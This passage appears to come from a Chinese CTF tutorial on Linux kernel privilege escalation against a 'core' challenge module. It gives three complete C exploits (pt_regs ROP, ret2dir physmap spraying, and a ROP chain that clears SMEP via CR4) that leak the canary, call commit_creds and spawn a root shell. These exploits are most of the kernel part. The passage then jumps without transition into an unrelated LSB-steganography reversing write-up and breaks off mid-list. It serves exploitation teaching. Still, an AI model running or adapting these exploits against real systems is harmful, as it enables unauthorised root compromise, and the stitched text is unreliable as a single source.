-m 256M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-cpu kvm64,+smep,+smap
查看entry_SYSCALL_64 这一用汇编写的函数内部，注意到当程序进入到内核态时，该函数会将所有的寄存器压入内核栈上，形成一个 pt_regs结构体，该结构体实质上位于内核栈底，https://elixir.bootlin.com/linux/latest/source/arch/x86/include/uapi/asm/ptrace.h#L44如下：
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};
内核栈只有一个页面的大小，而 pt_regs 结构体则固定位于内核栈栈底，当我们劫持内核结构体中的某个函数指针时（例如 seq_operations->start），在我们通过该函数指针劫持内核执行流时 rsp 与 栈底的相对偏移通常是不变的。
而在系统调用当中过程有很多的寄存器其实是不一定能用上的，比如 r8 ~ r15，这些寄存器为我们布置 ROP 链提供了可能，我们不难想到：只需要寻找到一条形如 "add rsp, val ; ret" 的gadget便能够完成ROP，在进入内核态前像寄存器写入一些值，看那些寄存器可以被保留，以便后续写入gadget。
KPTI pass：使用 seq_operations + pt_regs
结构体 seq_operations 的条目如下：
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
当我们打开一个 stat 文件时（如 /proc/self/stat）便会在内核空间中分配一个 seq_operations 结构体
当我们 read 一个 stat 文件时，内核会调用其 proc_ops 的 proc_read_iter 指针，然后调用 seq_operations->start 函数指针
利用思路
这次我们限制溢出只能覆盖返回地址，此时需要栈迁移到其他地方构造 rop 。其中一个思路就是在 pt_regs 上构造 rop 。我们在调用 core_copy_func 函数之前先将寄存器设置为几个特殊的值，然后再 core_copy_func 函数的返回处下断点。
__asm__(
"mov r15, 0x1111111111111111;"
"mov r14, 0x2222222222222222;"
"mov r13, 0x3333333333333333;"
"mov r12, 0x4444444444444444;"
"mov rbp, 0x5555555555555555;"
"mov rbx, 0x6666666666666666;"
"mov r11, 0x7777777777777777;"
"mov r10, 0x8888888888888888;"
"mov r9, 0x9999999999999999;"
"mov r8, 0xaaaaaaaaaaaaaaaa;"
"mov rcx, 0xbbbbbbbbbbbbbbbb;"
"mov rax, 0x10;"
"mov rdx, 0xffffffffffff0050;"
"mov rsi, 0x6677889A;"
"mov rdi, core_fd;"
"syscall"
);
数字没变的寄存器就是我们能够控制的，可以被我们用来写 gadget。
0b:0058│ 0xffffc90000113f58 ◂— 0x1111111111111111 ; r15
0c:0060│ 0xffffc90000113f60 ◂— 0x2222222222222222 ('""""""""') ; r14
0d:0068│ 0xffffc90000113f68 ◂— 0x3333333333333333 ('33333333') ; r13
0e:0070│ 0xffffc90000113f70 ◂— 0x4444444444444444 ('DDDDDDDD') ; r12
0f:0078│ 0xffffc90000113f78 ◂— 0x5555555555555555 ('UUUUUUUU') ; rbp
10:0080│ 0xffffc90000113f80 ◂— 0x6666666666666666 ('ffffffff') ; rsp
11:0088│ 0xffffc90000113f88 ◂— 0x207
12:0090│ 0xffffc90000113f90 ◂— 0x8888888888888888 ;r10
13:0098│ 0xffffc90000113f98 ◂— 0x9999999999999999 ;r9
14:00a0│ 0xffffc90000113fa0 ◂— 0xaaaaaaaaaaaaaaaa ;r8
15:00a8│ 0xffffc90000113fa8 ◂— 0xffffffffffffffda
16:00b0│ 0xffffc90000113fb0 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44]
17:00b8│ 0xffffc90000113fb8 ◂— 0xffffffffffff0050 /* 'P' */
18:00c0│ 0xffffc90000113fc0 ◂— 0x6677889a
19:00c8│ 0xffffc90000113fc8 ◂— 0x614d8e5400000004
1a:00d0│ 0xffffc90000113fd0 ◂— 0x10
1b:00d8│ 0xffffc90000113fd8 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44]
1c:00e0│ 0xffffc90000113fe0 ◂— 0x33 /* '3' */
1d:00e8│ 0xffffc90000113fe8 ◂— 0x207
1e:00f0│ 0xffffc90000113ff0 —▸ 0x7ffe1d48e620 ◂— 0x0
1f:00f8│ 0xffffc90000113ff8 ◂— 0x2b /* '+' */
新版本内核对抗利用 pt_regs 进行攻击的办法
内核主线在 https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=eea2647e74cd7bd5d04861ce55fa502de165de14 中为系统调用栈添加了一个偏移值，这意味着 pt_regs 与我们触发劫持内核执行流时的栈间偏移值不再是固定值：
diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c
index 4efd39aacb9f2..7b2542b13ebd9 100644
--- a/arch/x86/entry/common.c
+++ b/arch/x86/entry/common.c
@@ -38,6 +38,7 @@
#ifdef CONFIG_X86_64
__visible noinstr void do_syscall_64(unsigned long nr, struct pt_regs *regs)
{
+ add_random_kstack_offset();
nr = syscall_enter_from_user_mode(regs, nr);
instrumentation_begin();
当然，若是在这个随机偏移值较小且我们仍有足够多的寄存器可用的情况下，仍然可以通过布置一些 slide gadget 来继续完成利用，不过稳定性也大幅下降了。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
add_rsp_0xe8_ret += offset;
swapgs_restore_regs_and_return_to_usermode += offset + 8;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
int main() {
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, '\x00', sizeof(buf));
*(size_t *) &buf[64] = canary;
*(size_t *) &buf[80] = add_rsp_0xe8_ret;
core_write(buf, sizeof(buf));
__asm__(
"mov r15, pop_rdi_ret;"
"mov r14, init_cred;"
"mov r13, commit_creds;"
"mov r12, swapgs_restore_regs_and_return_to_usermode;"
"mov rax, 0x10;"
"mov rdx, 0xffffffffffff0058;"
"mov rsi, 0x6677889A;"
"mov rdi, core_fd;"
"syscall"
);
system("/bin/sh");
return 0;
}
执行 add_rsp_0xc8_pop*4_ret 时栈布局，rsp抬高0xc8+0x20后 ret 会执行到我们的 shellcode。
ret2dir
如果 ptregs 所在的内存被修改了导致可控内存变少，我们可以利用 ret2dir 的利用方式将栈迁移至内核的线性映射区。不同版本内核的线性映射区可以从内核源码文档的https://elixir.bootlin.com/linux/v4.15.8/source/Documentation/x86/x86_64/mm.txt查看。
ret2dir 是哥伦比亚大学网络安全实验室在 2014 年提出的一种辅助攻击手法，主要用来绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段，http://www.cs.columbia.edu/~vpk/papers/ret2dir.sec14.pdf。 linux 系统有一部分物理内存区域同时映射到用户空间和内核空间的某个物理内存地址。一块区域叫做 direct mapping area，即内核的线性映射区。，这个区域映射了所有的物理内存。我们在用户空间中布置的 gadget 可以通过 direct mapping area 上的地址在内核空间中访问到。
但需要注意的是在新版的内核当中 direct mapping area 已经不再具有可执行权限，因此我们很难再在用户空间直接布置 shellcode 进行利用，但我们仍能通过在用户空间布置 ROP 链的方式完成利用。
利用思路
在用户空间大量喷洒我们的gadget: add_rsp_0xe8_ret
返回地址覆盖为对应内核版本的线性映射区+0x7000000的位置。
利用pt_regs保存的pop_rbp_ret; target_addr; leave;ret 来完成栈迁移。
执行线性映射区的shellcode。
exp
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
size_t retn = 0xFFFFFFFF81003E15;
size_t pop_rbp_ret = 0xFFFFFFFF812D71EF;
size_t leave_ret = 0xFFFFFFFF81037384;
const size_t try_hit = 0xffff880000000000+0x7000000;
size_t user_cs, user_rflags, user_sp, user_ss;
size_t page_size;
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void get_shell()
{
system("/bin/sh");
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
add_rsp_0xe8_ret += offset;
swapgs_restore_regs_and_return_to_usermode += offset;
pop_rbp_ret += offset;
leave_ret += offset;
retn += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
void physmap()
{
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Error: open core");
}
page_size = sysconf(_SC_PAGESIZE);
printf("[*] page_size %llx", &page_size);
size_t *rop = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
int idx = 0;
while (idx < (page_size / 8 - 0x30)) {
rop[idx++] = add_rsp_0xe8_ret;
}
for (; idx < (page_size / 8 - 0xb); idx++) {
rop[idx] = retn;
}
rop[idx++] = pop_rdi_ret;
rop[idx++] = init_cred;
rop[idx++] = commit_creds;
rop[idx++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
rop[idx++] = 0x0000000000000000;
rop[idx++] = 0x0000000000000000;
rop[idx++] = (size_t) get_shell;
rop[idx++] = user_cs;
rop[idx++] = user_rflags;
rop[idx++] = user_sp;
rop[idx++] = user_ss;
puts("[*] Spraying physmap...");
for (int i = 1; i < 15000; i++) {
size_t *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(page, rop, page_size);
}
puts("[*] trigger physmap one_gadget...");
}
int main()
{
rebase();
save_status();
physmap();
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, 'a', sizeof(buf));
*(size_t *) &buf[0x40] = canary;
*(size_t *) &buf[0x50] = add_rsp_0xe8_ret;
core_write(buf, sizeof(buf));
__asm__(
"mov r15, pop_rbp_ret;"
"mov r14, try_hit;"
"mov r13, leave_ret;"
"mov rax, 0x10;"
"mov rdx, 0xffffffffffff0058;"
"mov rsi, 0x6677889A;"
"mov rdi, core_fd;"
"syscall"
);
return 0;
}
流程
（1）修改返回地址为线性映射区的地址，大概率会执行到add_rsp_0xe8_ret将栈抬升到pt_regs处，执行我们负责栈迁移的shell_code。
（2）将栈迁移到我们目标地址后，大量的slider gadget将栈不断抬升到get_root代码处，完成提权。
kernel rop + ret2user
利用思路
这种方法实际上是将前两种方法结合起来，同样可以绕过 smap 和 smep 保护。大体思路是先利用 rop 设置 cr4 为 0x6f0 （这个值可以通过用 cr4 原始值 & 0xFFFFF 得到）关闭 smep ， 然后 iret 到用户空间去执行提权代码。
例如，当
$CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000
时，smep 保护开启。而 CR4 寄存器是可以通过 mov 指令修改的，因此只需要
mov cr4, 0x1407e0
# 0x1407e0 = 101 0 0000 0011 1111 00000
即可关闭 smep 保护。
搜索一下从 vmlinux 中提取出的 gadget，很容易就能达到这个目的。
如何查看 CR4 寄存器的值？
gdb 无法查看 cr4 寄存器的值，可以通过kernel crash 时的信息查看。为了关闭 smep 保护，常用一个固定值 0x6f0，即 mov cr4, 0x6f0。
exp
注意这里 smap 保护不能直接关闭，因此不能像前面 ret2usr 那样直接在 exp 中写入 trap frame 然后栈迁移到 trap frame 的地址，而是在 rop 中构造 trap frame 结构。
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define KERNCALL __attribute__((regparm(3)))
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_cr4_rdi_ret = 0xffffffff81075014;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
void get_shell()
{
system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
void get_root() {
commit_creds(prepare_kernel_cred(0));
}
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds = (void *) ((size_t) commit_creds + offset);
prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
init_cred = (void *) ((size_t) init_cred + offset);
pop_rdi_ret += offset;
pop_rdx_ret += offset;
pop_rcx_ret += offset;
mov_rdi_rax_call_rdx += offset;
swapgs_popfq_ret += offset;
iretq += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
int main() {
save_status();
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, 'a', sizeof(buf));
*(size_t *) &buf[64] = canary;
size_t *rop = (size_t *) &buf[80], it = 0;
rop[it++] = pop_rdi_ret;
rop[it++] = 0x00000000000006f0;
rop[it++] = mov_cr4_rdi_ret;
rop[it++] = (size_t) get_root;
rop[it++] = swapgs_popfq_ret;
rop[it++] = 0;
rop[it++] = iretq;
rop[it++] = (size_t) get_shell;
rop[it++] = user_cs;
rop[it++] = user_rflags;
rop[it++] = user_sp;
rop[it++] = user_ss;
core_write(buf, sizeof(buf));
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
逆向中巧遇MISC图片隐藏
这道题比较有意思，而且因为我对misc并不是很熟悉，发现该题目将flag隐藏在图片的颜色属性，巧妙的跟踪到这些密文位置，拿下题目一血，还是很有参考学习意义的。
1、图片RGB隐写
赛后去查阅了相关资料，发现该题采用了RGB隐写，特此总结一下，帮助读者理解。
lsb 隐写题在 ctf 中也经常考到，LSB即为最低有效位，我们知道，图片中的图像像素一般是由 RGB三原色（红绿蓝）组成，每一种颜色占用 8 位，取值范围为 0x00~0xFF，即有256 种颜色，一共包含了 256 的 3 次方的颜色，即 16777216种颜色。而人类的眼睛可以区分约 1000万种不同的颜色，这就意味着人类的眼睛无法区分余下的颜色大约有 6777216种。
LSB 隐写就是修改 RGB颜色分量的最低二进制位也就是最低有效位（LSB），而人类的眼睛不会注意到这前后的变化，每个像数可以携带3 比特的信息。
上图我们可以看到，十进制的 235表示的是绿色，我们修改了在二进制中的最低位，但是颜色看起来依旧没有变化。我们就可以修改最低位中的信息，实现信息的隐写
本题属于修改RGB的最后一个位，一共可以隐藏三个位，RGB（三原色）
R：隐藏最高位
G：隐藏最高位
B：隐藏最高位
2、实战
2.1 初识
题目给了一个ELF文件和一个png图片，猜测会对png进行解密操作
很明显要么加密了图片，要么隐藏了数据
2.2 IDA 深入分析
我们先对整个题目流程做一定的理解，然后讨论解题思路
首先，自己搭建远程调试环境（比较简单，不在详细说明）
注意：要将题目提供的图片拖进dbgserv文件夹
分析main函数
发现代码可以分为三部分：
1、读取png图片内容和输入秘钥
2、对png的RGB进行操作隐藏输入的秘钥
3、关闭流环境
我们可以这样理解，出题人会将flag作为输入的秘钥，经过程序操作隐藏在png的RGB中。
当然我们并不知道秘钥，但是可以构造一个假的flag，将其输入。此时我们可以看到程序将输入隐藏在png的哪些位置
获得了这些位置之后（隐藏的是真正flag的组成位）就可以单独把这些隐藏的位拼接出来
0123456789abcdefghijklmnopqrstuv
从而得到flag
2.3 解题
printf("Usage: %s [infile] [outfile]\n", *a2);
./cvhider pic_hide.png pic_hix.png
运行程序会提示输入：
分析part_flag_2
read_png会返回加密数据存储的位置，我们直接复制，然后组成即可
所以我们先解密part1
lis1=[
0xFF, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFE,
0xFF, 0xFF, 0xFF, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00,
0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00,
0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01,
0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01,
0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01,
0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,
0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01,
0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00,
0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00,
0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00,
0x00, 0x00, 0xFE, 0x00, 0x00, 0xFE, 0x00, 0x00, 0xFE, 0x00,
0x00, 0x00, 0x00, 0x00, 0xFE, 0x00, 0x00, 0xFE, 0x00, 0x00,
0x00, 0x00, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,]
for i in range(len(lis1)//8):
for j in range(8):
print(lis1[i*8+j] & 0x1, end="")
print("", end=",")
生成
11100100,01110101,00000011,10111001,00001100,01110011,01001011,01100110,00101001,10100110,11001000,11001110,11101011,11110011,11111100,11010101,00000000,00000000,00000000,00000000,00000000,00000000,
拿到第一部分的flag
fa{9b1d692a3ae28
然后用同样的方法解密part2，注意part2密文长度为 32 字节
lis1=[
0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE,
0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF,
0xFE, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF,
0xFE, 0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF,
0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xFE,
0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE,
0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFE, 0xFE, 0xFF,
0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE,
0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE,
0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE,
0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF,
0xFF, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF,
0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE,
0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE,
0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFE,
0xFE, 0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE,
0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFE,
0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFF,
0xFE, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFE, 0xFE, 0xFF,
0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE,
0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF,
0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF,
0xFF, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE,
0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFE, 0xFF,
0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF,
0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
